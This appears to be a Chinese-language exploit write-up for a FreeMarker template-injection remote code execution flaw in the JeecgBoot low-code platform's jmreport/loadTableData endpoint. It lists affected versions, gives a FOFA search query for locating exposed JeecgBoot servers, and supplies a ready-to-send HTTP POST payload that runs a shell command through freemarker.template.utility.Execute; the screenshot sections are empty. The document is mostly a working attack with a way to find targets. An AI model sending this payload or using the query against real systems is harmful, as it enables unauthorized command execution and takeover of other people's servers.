J10-2JeecgBoot-企业级低代码平台-RCE

漏洞描述：

Jeecg Boot jmreport/loadTableData接口存在FreeMarker SSTI注入漏洞，攻击者可以通过操纵应用程序的模板引擎来执行恶意代码或获取敏感信息。这种漏洞可能会导致整个应用程序被入侵，造成严重的安全问题。

影响版本：

```
3.4.0<=org.jeecgframework.boot:jeecg-boot-common<3.5.3
```

网站图片：

网络测绘：

fofa语法：

title=="JeecgBoot 企业级低代码平台"|| body="window._CONFIG['imgDomainURL'] = 'http://localhost:8080/jeecg-boot/'" || title="Jeecg-Boot 企业级快速开发平台"|| title="Jeecg 快速开发平台"|| body="http://fileview.jeecg.com/onlinePreview"" || title=="JeecgBoot 企业级低代码平台"|| title=="Jeecg-Boot 企业级快速开发平台"|| title=="JeecgBoot 企业级快速开发平台"|| title=="JeecgBoot 企业级快速开发平台"|| title="Jeecg 快速开发平台"|| title="Jeecg-Boot 快速开发平台"|| body="积木报表"|| body="jmreport"

漏洞复现：

payload：

```
POST /jeecg-boot/jmreport/loadTableData HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
Connection: close

{"dbSource":"","sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"id\")}'","tableName":"test_demo);","pageNo":1,"pageSize":10}
```

效果图: